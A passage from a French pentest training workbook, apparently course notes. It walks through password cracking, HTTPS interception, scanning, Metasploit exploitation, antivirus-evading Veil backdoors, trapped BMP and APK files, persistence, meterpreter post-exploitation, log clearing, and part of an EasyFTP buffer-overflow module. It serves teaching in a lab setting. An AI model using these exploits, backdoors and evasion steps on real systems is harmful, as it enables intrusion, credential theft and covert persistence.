Management). Il existe une exception lors de l'utilisation d'un active directory (BDD LDAP) stocké
21/11/2019
55
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Le crack des sessions utilisateur Linux est plus complexe que pour Windows. L'authentification est
basée sur deux fichiers : /etc/passwd & /etc/shadow. La méthode de capture des mots de passe
consiste à utiliser un boot loader, comme grub, pour les identifier et les cracker par la suite.
❖ Johnny
Une fois l'interface graphique lancée, nous allons ouvrir le fichier contenant les informationssur
l'authentification des utilisateurs : /etc/shadow et voir apparaitre les utilisateurs et leurs hashes.
NDLR :
L'utilisateur "testman" a été crée pour l'exemple via les commandes suivantes :
Pour commencer, nous nous rendons dans le menu "Options" puis "Wordlist". De là, nous indiquons
l'emplacement de notre fichier "wordlist_crack.lst" crée pour l'occasion et contenant une liste de
mot de passe aléatoire dont notre mot de passe.
21/11/2019
56
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il ne nous reste plus qu'à "Débuter une nouvelle attaque" à l'aide du bouton et d'attendre le résultat
en espérant qu'il soit dans notre wordlist.
❖ Hashcat
57
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Pour afficher la liste des correspondances entre le numéro et le type de hash, utilisez la commande
suivante :
$ hashcat -h
❖ Chntpw
Permet, entre autres, de supprimer le mot de passe d'un utilisateur de Windows. Nous devons
comme pour l'outil "ophcrack", avoir un accès à la base SAM via un CD Live de Kali, par exemple.
58
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Choisissez maintenant l'utilisateur concerné en indiquant son RID, ici l'utilisateur testman
# Il ne reste plus qu'à choisir l'option pour mettre à zéro le mot de passe de l'utilisateur sélectionné
et de quitter le programme en sauvegardant les changements
❖ Ophcrack
Ophcrack va nous permettre de cracker la base SAM d'un poste Windows. Pour cela, il faut démarrer
la machine concernée sur un CD Live de Kali.
NDLR :
$ setxkbmap fr
Pour que notre système d'exploitation Windows se monte automatiquement, il semble falloir ouvrir
l'explorateur de fichiers (pcmanfm) et sélectionnez notre disque.
21/11/2019
59
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois le démarrage terminé, rendez-nous à l'emplacement où s'est monté notre système
Windows (par défaut dans le dossier /media/root/XXXX/).
L'utilisation du logiciel est très simple. Débutons par le chargement de la base SAM en utilisant le
bouton "Load" puis "Encrypted SAM" situé à l'emplacement suivant : C:\Windows\system32\config
Cela nous retourne donc les utilisateurs disponibles avec les hashes des mots de passe
correspondant.
Cette méthode fonctionne avec toutes les versions de Windows car elle se base du hash NTLM
affiché par ophcrack lors du chargement de la base SAM.
La méthode est très simple et consiste à utiliser un site pour effectuer le déchiffrement du hash.
Nous utiliserons, pour notre exemple, le site https://hashkiller.co.uk/Cracker/NTLM pour nous
21/11/2019
fournir le résultat.
60
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
❖ Crunch
Crunch est un outil utile quand on a une idée du mot de passe utilisé. Il vient créer une liste de mot
de passe en fonction des éléments qu'on lui indique : nombre de caractère mini / maxi, utilisation de
MAJUSCULE, minuscules, chiffres ou encore caractères spéciaux. Pour plus de détail sur les options,
n'oubliez pas de consulter le manuel de "crunch" via la commande : man crunch
# Génération d'une liste de mot de passe commençant par le mot "pass" et suivi de 2 caractères de
types chiffres donc la taille est de 6 caractères.
$ crunch tailleMini tailleMaxi -t TypeDeCaractèreDuMotDePasse > FichierContenantLaListeGénérée
INFO :
❖ Hash-identifier
21/11/2019
# Lancement de hash-identifier
$ hash-identifier
61
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
❖ Findmyhash
# Lancement de findmyhash
# La notation du type de hash est accessible via le manuel de la commande : man findmyhash
# L'option -h doit être suivi du hash à déchiffrer
$ findmyhash typeDeHash -h Hash
NDLR :
● https://passwordrecovery.io
● https://crackstation.net
9.3.1 Introduction
21/11/2019
Mitmproxy est un outil rapide, efficace et puissant permettant de trouver différentes vulnérabilités
coté client en examinant le trafic HTTPS ou encore en rejouant les requêtes altérées auparavant.
62
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Intercepter les requêtes et les réponses HTTP & HTTPS et les modifier à la volée
➢ Sauvegarder les conversations HTTP complètes pour les rejouer et les analyser plus tard.
➢ Rejouer le côté client d'une conversation http
➢ Rejouer les réponses HTTP d'un serveur précédemment enregistré
➢ Inverser le mode proxy pour rediriger le trafic vers un serveur spécifié
➢ Mode proxy transparent sous OSX et Linux
➢ Apporter des changements scriptés au trafic HTTP à l'aide de Python
➢ Les certificats SSL/TLS pour l'interception sont générés à la volée.
Pour notre exemple, nous allons utiliser la partie "filtre d'interception". Pour cela nous allons taper la
lettre "i" dans le terminal mitmproxy.
L'option "~q" va nous permettre d'inspecter toutes les requêtes avant de leurs données le droit de
"forwarder"
21/11/2019
63
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
NDLR :
Pour la partie suivante, le proxy de votre navigateur doit être activé 21/11/2019
64
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
L'étape suivante consiste à ouvrir un site web : ici https://www.alphorm.com pour observer que
notre requête se retrouve bien en attente dans l'outil mitm.
En cliquant dessus, nous avons accès à plus de détails sur cette requête.
INFO :
Pour modifier la requête, il suffit d'appuyer sur la touche "e" et de choisir dans la liste l'élément à
modifier.
Nous pouvons ainsi, par exemple, modifier une requête exécutant un script java et le remplacer par
un autre que nous avons piéger avec Beef par exemple.
NDLR :
65
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour "forwarder" (faire suivre) chaque requête et ainsi les transmettre au serveur, il suffit d'appuyer
sur la touche "a"
Grace à l'outil mitmproxy, nous allons pouvoir analyser les requêtes HTTPS, surtout les pages de
formulaire d'identification. Par le même principe qu'au-dessus, nous pouvons retrouver le couples
login / mot de passe que nous avons indiqué.
Cela nous apprend donc qu'il ne faut pas faire confiance à d'autres réseaux que le vôtre, que le
protocole HTTPS ne veut pas dire sécurisé et que l'usage d'un VPN est fortement recommandé sur
des réseaux qui ne sont pas de confiance.
9.4 Scanning
9.4.1 lbd
Cet outil va nous permettre de détecter si un équilibreur de charge (load balancing) est utilisé sur un
domaine défini. Grâce à cette information, nous pouvons savoir si une attaque par DDOS aura un réel
21/11/2019
impact.
66
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
9.4.2 xprobe2
Xprobe2 nous permettra de connaitre le système d'exploitation utilisé par notre site et bien plus
encore : version du kernel, … Il est extrêmement puissant pour "bypasser" les firewalls, IDS ou encore
NIDS comparer à l'outil nmap.
21/11/2019
67
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
$ xprobe2 AdresseDuReseau/CDIR
Il est possible de vérifier les résultats de l'outil xprobe2 à l'aide de la commande nmap suivante :
POUR DE VRAI :
J'ai rencontré un bug, sous Kali et Debian, que je n'ai pas réussi à corriger, surement lié à un problème
UTF.
9.4.3 nmap
Pour aller un peu plus loin dans nmap, nous allons l'utiliser avec des scripts.
Une liste de script [NSE : Nmap Scripting Engine] est disponible à cette adresse :
21/11/2019
https://nmap.org/nsedoc/
68
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour notre exemple, nous allons utiliser le script "Vulscan" qui va nous permettre d'afficher les
vulnérabilités de notre site de façon détaillée. Voici le lien où vous pourrez télécharger ce script :
https://github.com/scipag/vulscan/archive/master.zip
# Décompression de l'archive
$ unzip master.zip
9.4.4 metasploit
Nous pouvons commencer par rechercher les modules de scan dans metasploit à l'aide de la
commande : search scanner
21/11/2019
69
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Continuons en recherchant si le port 80 [HTTP] est ouvert sur notre cible. Pour cela voici les
commandes a indiquées :
$ use auxiliary/scanner/portscan/syn
# N'oublions pas d'afficher les options pour renseigner les informations dont nous avons besoin
$ show options
# Il ne nous reste plus, avant de lancer notre scan, qu'à indiquer l'interface réseau à utiliser, l'adresse
IP de la cible, le port à scanner, et éventuellement à modifier le nombre de threads.
Allons un peu plus loin en recherchant les éventuels ports TCP ouvert sur notre cible. Pour cela voici
21/11/2019
$ use auxiliary/scanner/portscan/tcp
70
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une dernière option que nous allons détailler, consiste à sonder les séquences IPID des hôtes et à la
classifier. Pour cela voici les commandes à indiquer :
$ use auxiliary/scanner/ip/ipidsaq
71
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
9.4.5 Nessus
Nous considérons que l'outil Nessus est installé sur votre système. Commençons par nous connecter
à Nessus en utilisant l'adresse suivante : https://127.0.0.1:8834
Ces 3 méthodes regorgent d'options intéressantes : planification du scan, notification par mail,
définition des types de vulnérabilités recherchées, …
➢ Nous indiquons le nom souhaité pour notre scan de vulnérabilité ainsi que l'adresse IP de la
cible concernée
21/11/2019
72
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Une fois notre configuration sauvegardée, n'oubliez pas de lancer votre scan à l'aide de la
fléche :
➢ Une fois le scan terminé, nous pouvons voir un résumé des vulnérabilités trouvées avec leurs
criticités
➢ Pour chaque faille trouvée, nous pouvons accéder à des détails comme la description de la
vulnérabilité, la solution pour la corriger, des liens de référence et même une session
"Output" qui nous permet d'éliminer tout faux-positif.
21/11/2019
73
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Pour tester cette vulnérabilité, nous allons essayer de nous connecter avec les informations
fournies dans la partie "Output"
21/11/2019
74
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il est possible d'exporter le scan en différents formats : PDF, HTML, CSV, … à l'aide du bouton
"Report" et "Export"
Il s'agit d'un outil "Next Generation Web Reconnaissance", codé en python et disponible sur le dépôt
du créateur Bitbucket. Il est, de plus, diffusé sous licence GPL. Ce logiciel va réaliser, de façon efficace
et rapide, une reconnaissance publique de notre cible
# Création du workspace
$ workspaces add facebook
75
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Chargement de l'outil "netcraft" qui nous permettra d'analyser les sous-domaines de facebook
$ load netcraft
# Le module "brute-host" va nous permettre de faire un lien entre les noms de domaine et les sous-
domaines au niveau du DNS
$ load recon/domains-hosts/brute_hosts
$ run
76
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Le module "resolve" permet de récupérer les adresses en fonction des noms de domaine
$ load recon/hosts-hosts/resolve
$ run
# Le module "reverse_resolve" permet de récupérer le nom des hosts en fonction des adresses IP
déjà en notre possession
$ load recon/hosts-hosts/reverse_resolve
$ run
77
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
POUR DE VRAI :
Dans cette dernière partie, j'ai rencontré des problèmes avec l'utilisation de l'outil "recon-ng". Les
modules ne semblaient pas vouloir se charger avec ma VM de Kali. J'ai donc installé recon-ng sur ma
VM Debian (apt install recon-ng) pour résoudre ce problème.
De plus le module "freegeoip" ne semblait pas intégré à ma version installée sous ma Debian. J'ai
essayé de l'ajouter manuellement à l'aide d'un dépôt GitHub mais cela n'a rien changé.
$ load recon
9.4.7 Openvas
# Vérification de l'installation
$ openvas-check-setup
21/11/2019
78
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois, l'installation d'openvas terminée, vous pourrez vous connecter avec vos identifiants à
l'adresse suivante : https://localhost:9392
# Menu Scans -> Tasks -> Créer un scan (mode wizard) et indiquez seulement adresse de la cible
21/11/2019
79
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Une fois le scan terminé, nous pouvons consulter ou encore exporter le rapport généré via le menu
Scans -> Report
Chaque vulnérabilité est classée en différents critères : criticité, ports utilisés, hosts, … Un clic sur la
faille permet d'avoir un détail complet : description, impact, solution, méthode de vulnérabilité
utilisée, références ….
21/11/2019
80
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
9.5 Exploitation
Pour rappel, l'exploitation doit être précise, rapide et suivre une méthodologie. C'est pour cela que le
pentesteur doit absolument favoriser le "threat modeling" [Modélisation des menaces] afin d'avoir
une attaque la plus efficace possible.
Tout d'abord, il est judicieux de définir le type de cible en 3 parties : selon le niveau d'information
que la cible peut nous rapporter mais aussi selon le but de notre pentest :
▪ Primaire
▪ Secondaire
▪ Tertiaire
Le "threat modeling" doit être effectué à chaque réalisation d'un pentest. Le but est d'identifier,
dénombrer et classer par ordre de priorité les vulnérabilités possibles en fournissant une analyse des
vecteurs d'attaque les plus probables et des actifs les plus recherchés. Le tout du point de vue d'un
attaquant hypothétique.
La modélisation des menaces répond à des questions telles que "Où sont les actifs de grande valeur ?
Quelles sont les attaques le plus vulnérable ? Quelles sont les menaces les plus pertinentes ? et y a-t-
il un vecteur d'attaque qui pourrait passer inaperçu ?
21/11/2019
81
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
La première chose que nous pouvons réaliser est d'utiliser la command "ping" pour tester la
présence de notre cible
Passons ensuite à la récupération des services tournant cette machine à l'aide l'outil "nmap"
Pour la suite, nous allons nous concentrer sur le service Samba (très souvent vulnérable). Metasploit
va nous aider à trouver une vulnérabilité.
# Lancement de metasploit
$ msfconsole
82
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Il est recommandé d'utiliser une vulnérabilité ayant un "rank" de type excellent pour maximiser nos
chances d'exploitation.
Pour en savoir plus sur un exploit, il est possible d'utiliser la commande "info"
$ info /exploit/multi/samba/usermap_script
# Lancement de l'exploit
$ exploit
83
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous avons donc accès à un shell connecté sur notre machine cible. Nous pouvons donc utiliser des
commandes tels que hostname, uname -a ou encore whoami.
Nous allons exploiter une vulnérabilité (buffer overflow) du logiciel Chasys Draw IES (fichier
d'installation dans les ressources Alphorm) via metasploit.
21/11/2019
84
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
N'oubliez pas d'utiliser la commande "info" pour avoir les détails sur cet exploit :
$ info exploit/windows/fileformat/chasys_draw_ies_bmp_bof
# Chargement de l'exploit
$ use exploit/windows/fileformat/chasys_draw_ies_bmp_bof
# Lancement de l'exploit
21/11/2019
$ exploit
85
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous remarquons donc que notre fichier "piégé" a été crée dans le dossier
"/root/.msf4/local/msf.bmp". Il ne reste plus qu'à envoyer ce fichier à la victime.
Nous allons nous mettre en mode écoute, dans l'attente d'une connexion, via le fichier transmis par
notre cible
# Chargement de l'exploit
$ use exploit/multi/handler
# Lancement de l'exploit
$ exploit
21/11/2019
86
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Lorsque la victime ouvre notre image piégée, une connexion s'initialise et nous permet un grand
nombre d'action.
Voici une liste non exhaustive des possibilités d'exploitation sur notre cible :
87
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour avoir accès à la liste complète des possibilités d'exploitation, nous pouvons utilisés la
commande "info" :
$ info
Il est possible d'utiliser l'outil "Armitage" de façon partagée avec votre équipe. Pour cela, voici les
commandes à utiliser :
$ cd /usr/share/armitage
# Lancement de teamserver
$ ./ teamserver AdresseIP MotDePasse
88
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Il ne reste plus qu'à informer notre équipe de l'adresse et du mot de passe à utiliser.
NDLR :
# Pour accéder à la console de scripting, rendez-vous dans le menu "View" → "Script Console"
21/11/2019
89
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Un onglet "cortana" apparait. Cortana est un langage de scripting proche du perl. La commande
"help" permet de nous afficher plus d'informations dont les commandes disponibles, n'hésitez pas à
consulter cette documentation :
http://fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf
Il est possible en effectuant quelques recherches sur le net d'accéder à des scripts déjà existant
comme par exemple : https://github.com/rsmudge/cortana-scripts
Pour les intégrer à Armitage, rien de plus simple, il vous suffira de télécharger le fichier avec
l'extension .cna. Ensuite via le menu "Armitage" →"Script" puis à l'aide du bouton "Load", il ne
restera plus qu'à sélectionner notre fichier.cna
Dans la partie suivante, nous allons créer un script qui viendra scanner certains ports à chaque ajout
d'hôte dans Armitage.
Script scan.cna :
on host_add {
println("[*] MSF Port Scanner New Host OpenPorts on $1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
db_sync();
21/11/2019
90
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Comme dans la procédure précédente, nous allons charger notre script "scan.cna" dans Armitage.
Lors de l'ajout d'un nouvel hôte, on s'aperçoit que notre script se lance automatiquement.
Pour nous permettre de créer des backdoors indétectables par les antivirus ou encore les IDS, nous
allons utiliser l'outil "Veil".
# Installation et configuration du programme (veuillez être patient, l'installation est assez longue)
$ /usr/share/veil/config/setup.sh --force --silent
# Lancement de l'outil
$ veil
Un nouveau menu s'affiche et nous indique les commandes et le nombre de payload disponibles.
91
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Il est possible d'avoir plus de détail sur un payload en utilisant la commande "info"
$ info NuméroDuPayload
92
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il ne nous restera plus qu'à indiquer le nom du fichier de sortie pour le générer et voir s'affiche son
emplacement.
21/11/2019
93
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
Nous pouvons, par précaution, vérifier que le hash de notre payload n'apparait pas dans sur le site
VirusTotal.
$ checkvt
POUR DE VRAI :
J'ai souhaité analyser notre fichier généré avec un antivirus et malheureusement il a été détecté
comme infecté. Je l'ai donc désactivé pour le test, lancer msfconsole en mode écoute pour vérifier son
bon fonctionnement.
➢ Scripting Metasploit
$ gvim /usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
94
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
// Définition de notre exploit : Nom, Description, Auteur, Référence, Plateforme, Versions utilisées
def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server MKD Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which
leads to a stack based buffer overflow.
NOTE: EasyFTP allows anonymous access by default. However, in order to access the
'MKD' command, you must have access to an account that can create directories.
This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
'fixing' the return address post-exploitation. See references for more information.
},
'Author' =>
[
'x90c <geinblues[at]gmail.com>', # original version
'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads)
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '62134' ],
[ 'EDB', '12044' ],
[ 'EDB', '14399' ]
],
// Comportement par défaut de l'exploit
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
21/11/2019
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\x2f\x5c",
95
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
def make_nops(num)
"C" * num
end
// Définition de l'exploit
def exploit
connect_login
# NOTE:
# This exploit jumps to ebp, which happens to point at a partial version of
21/11/2019
# the 'buf' string in memory. The fixRet below fixes up the code stored on the
# stack and then jumps there to execute the payload. The value in esp is used
# with an offset for the fixup.
fixRet_asm = %q{
96
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
mov edi,esp
sub edi, 0xfffffe10
mov [edi], 0xfeedfed5
add edi, 0xffffff14
jmp edi
}
buf = ''
// Encodage du payload
print_status("Adding the payload...")
buf << payload.encoded
// mode écoute
handler
disconnect
end
end
Pour ceux qui souhaitent s'étendre sur le développement de modules pour metasploit. Voici un lien
très intéressant : https://repo.zenk-security.com/Metasploit/Guide du Developpeur Metasploit
3.0.pdf
21/11/2019
97
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ Piratage Android
Dans notre exemple, nous allons créer un fichier apk piégé et voir les possibilités disponibles.
Il ne reste plus qu'à transférer le fichier apk sur un téléphone et à exécuter l'application pour obtenir
une connexion.
POUR DE VRAI :
Je n'ai pas réussi à faire fonctionner la connexion entre mon téléphone et ma machine virtuelle KALI.
Ma commande "ping" de ma VM vers mon smartphone fonctionnait correctement mais pas l'inverse
malgré mes nombreux réglages.
La commande "help" permet de nous afficher la liste complète des commandes possibles.
9.6.1 Introduction
Une fois, la cible compromise, il est possible que vous ayez des privilèges moindres tel que "guest". Il
nous faudra donc obtenir des privilèges plus élevés tel que l'utilisateur "root" pour Linux ou encore
21/11/2019
98
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour notre exemple, nous allons utiliser une vulnérabilité connue dans le service "distccd" (service
compilant des jobs pour différents services).
# Lançons la console msfconsole pour vérifier s'il existe un exploit concernant ce service
$ msfconsole
# Recherche de l'exploit
$ search distccd
21/11/2019
# Chargement de l'exploit
$ use exploit/unix/misc/distcc_exec
99
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Lancement de l'exploit
$ exploit
Pour élever nos privilèges de l'utilisateur "daemon" à celui de "root", nous allons utiliser le site
21/11/2019
100
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Lancement de l'exploit
$ ./NomduFichierCompilé NuméroDuPID
Grâce à la commande "whoami", nous pouvons voir que nous sommes maintenant "root"
POUR DE VRAI :
La commande de compilation "gcc" ne semble pas fonctionner à partir du shell de notre exploit
précédent. Il m'indique un problème de droit. Pour outrepasser cela, j'ai lancé la commande
directement depuis la VM "Metasploitable"
De plus, malgré l'application de l'exploit, je n'ai pas réussi à élever mes privilèges.
21/11/2019
101
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
9.7.1 Introduction
Après la phase d'élévation de privilèges, vient ensuite l'établissement d'un accès constant à la cible.
Cela nous permettra une accessibilité continue à l'aide de portes dérobées appelé aussi "backdoor"
❖ Telnet
Pour cet exemple, nous n'allons pas détailler la partie exploitation pour avoir accès à une connexion
meterpreter. Pour ma part, j'ai réutilisé la faille du logiciel "Chasys Draw IES" vu précédemment.
# Une fois la connexion meterpreter établie, il nous suffit de lancer la commande suivante pour
établir un accès telnet persistant vers notre cible
$ run gettelnet -e
INFO :
102
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
POUR DE VRAI :
Après avoir installé le service "telnet" sur la cible Windows via le menu "Ajout de fonctionnalité" et
malgré la désactivation du pare-feu. Je n'ai pas réussi à créer mon utilisateur :'( Je pense que cela
vient du fait que j'utilise le système Windows 7.
# Il ne nous reste plus qu'à effectuer une connexion en telnet sur notre cible via un nouveau terminal
# N'oubliez pas d'indiquer votre identifiant crée précédemment
$ telnet AdresseIPDeLaCible
❖ RDP
Utilisons maintenant le service RDP pour effectuer une connexion persistante à notre cible.
103
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
❖ Metsv
Metsv est un module de persistance intégré à l'outil meterpreter jusqu'à la suppression des fichiers
de ce dernier.
# Installation de metsv
$ run metsv
❖ Persistence
Ce script de metasploit vise à créer une backdoor persistante sur notre machine cible.
104
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour finir de tester notre exemple, il faut lancer un metasploit en mode écoute. Pour les mauvais
élèves, je vous re-note la liste des commandes :
# Chargement du module
$ use multi/handler
# Lancement de l'exploit
$ exploit
NDLR :
La partie pour créer une connexion meterpreter à notre cible ne sera pas détaillée. Pour tout rappel,
référer vous à l'exploit concernant la vulnérabilité du logiciel Chasys Draw IES
Une fois la connexion meterpreter créée, utiliser la commande "shell" pour pouvoir utiliser les
commandes Windows dites standard.
21/11/2019
105
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Voici une liste non exhaustive des commandes Linux / Windows qui nous permettront de récolter le
plus d'information possible.
INFO :
Pour quitter le shell ouvert avec meterpreter, il nous suffira de presser les touches "CTRL+C" et de
valider la demande de sortie.
21/11/2019
106
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous allons, maintenant, développer les actions à réaliser avec l'outil "volatility" pour analyser une
image "dumpée" de la mémoire pour recueillir les informations importantes pour nous : fichiers SAM
et SYSTEM pour en découvrir les mots de passe utilisateur.
Pour notre exemple, nous allons utiliser, l'exemple d'image mémoire "Malware – Zeus", disponible à
cette adresse : https://github.com/mgoffin/malwarecookbook/raw/master/17/1/zeus.vmem.zip
21/11/2019
107
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Visualisation des informations nous permettant de récupérer les mots de passe utilisateur
volatility hivelist -f NomDeLImage
Nous voyons ici les fichiers SAM et SYSTEM que nous allons utiliser dans la commande suivante.
Maintenant que nous sommes en possession des hashes, il ne reste plus qu'à utiliser des outils tel que
"John The Ripper" ou encore "Hashcat" pour lancer le cracking et trouver les mots de passe.
108
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
La migration vers le processus le plus utilisé par les systèmes Windows "explorer.exe" est la façon la
plus pratique de ne pas se faire découvrir.
109
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
110
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Récupération des informations de notre cible, tel que les comptes disponibles, la table ARP ou
encore les hashes des mots de passes.
$ run winenum
111
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Lancement du screenshot
$ screenshot
L'outil "incognito" va nous permettre de rejouer un token d'authentification et ainsi d'élever nos
privilèges de type vertical.
Nous avons donc réalisé une élévation de privilèges et obtenu les droits de l'utilisateur "gudbes"
112
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour récupérer, par une élévation de type horizontal, les droits SYSTEM, il suffit simplement d'utiliser
la commande : $ getsystem
POUR DE VRAI :
La commande "getsystem" ne fonctionne pas sur ma VM. L'erreur suivante est retournée :
priv_elevate_getsystem: Operation failed: The environment is incorrect.
113
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Suppression du journal
$ log.clear()
POUR DE VRAI :
A mon grand regret, l'effacement des logs n'ont pas fonctionné pour moi.
10 Attaques Web
Il est important de calculer un risque par rapport à une vulnérabilité découverte. Voici la formule
pour évaluer le risque :
114
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
10.2 Scanning
Ce chapitre concerne la découverte de vulnérabilités au niveau de applications web grâce aux outils
suivants :
• Nikto
Cet outil va nous permet d'analyser l'existence de scripts vulnérables et va nous fournir des
informations pour notre test de pénétration.
Nous pouvons aussi tester nikto sur notre machine virtuelle "metasploitable" et voir les informations
qui nous remontent, tel que la version du service Apache ou encore certaines vulnérabilités.
21/11/2019
• Sslscan
Sslscan va effectuer des scans concernant les certificats SSL, le niveau de sécurité des protocoles.
115
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
• Sslyze
Idem à "sslscan", "sslyze" va récupérer les certificats utilisés, les versions acceptées, …
21/11/2019
116
